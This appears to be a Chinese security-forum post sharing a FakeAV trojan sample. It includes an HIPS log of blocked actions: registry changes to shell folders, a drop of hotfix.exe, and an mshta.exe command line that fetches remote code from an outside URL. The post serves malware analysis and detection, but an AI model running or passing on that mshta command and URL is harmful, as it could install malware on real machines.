样本

尤金卡巴斯基

Kaspersky - Trojan.Win32.FakeAV.vsu

zuo

2010-12-25 20:40:40    修改注册表值    阻止
进程: c:\documents and settings\administrator\桌面\logread\logread.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
值: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
规则: [注册表组]IE浏览器设置保护(询问) -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders; Cache

2010-12-25 20:40:41    修改注册表值    阻止
进程: c:\documents and settings\administrator\桌面\logread\logread.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
值: C:\Documents and Settings\Administrator\Cookies
规则: [注册表组]IE浏览器设置保护(询问) -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders; Cookies

2010-12-25 20:40:41    修改注册表值    阻止
进程: c:\documents and settings\administrator\桌面\logread\logread.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History
值: C:\Documents and Settings\Administrator\Local Settings\History
规则: [注册表组]IE浏览器设置保护(询问) -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders; History

2010-12-25 20:40:42    修改注册表值    阻止
进程: c:\documents and settings\administrator\桌面\logread\logread.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\WINDOWS\system32\mshta.exe
值: Microsoft (R) HTML Application host
规则: [注册表组]系统关键设置保护(阻止) -> [注册表]*\SOFTWARE\Microsoft\Windows\ShellNoRoam\MUICache

2010-12-25 20:40:42    创建新进程    阻止
进程: c:\documents and settings\administrator\桌面\logread\logread.exe
目标: c:\windows\system32\mshta.exe
命令行: "C:\WINDOWS\system32\mshta.exe" http://topreerpot.com/inst.php?id=flauhin
规则: [应用程序组]所有程序规则-系统程序执行规则 -> [应用程序]* -> [子应用程序]*\mshta.exe

2010-12-25 20:40:42    创建文件    阻止并结束进程
进程: c:\documents and settings\administrator\桌面\logread\logread.exe
目标: C:\Documents and Settings\Administrator\Application Data\hotfix.exe
规则: [文件组]系统文件夹写保护(拒绝创建) -> [文件]c:\documents and settings\*\application data; *.exe

あ掵㊣峫淰℡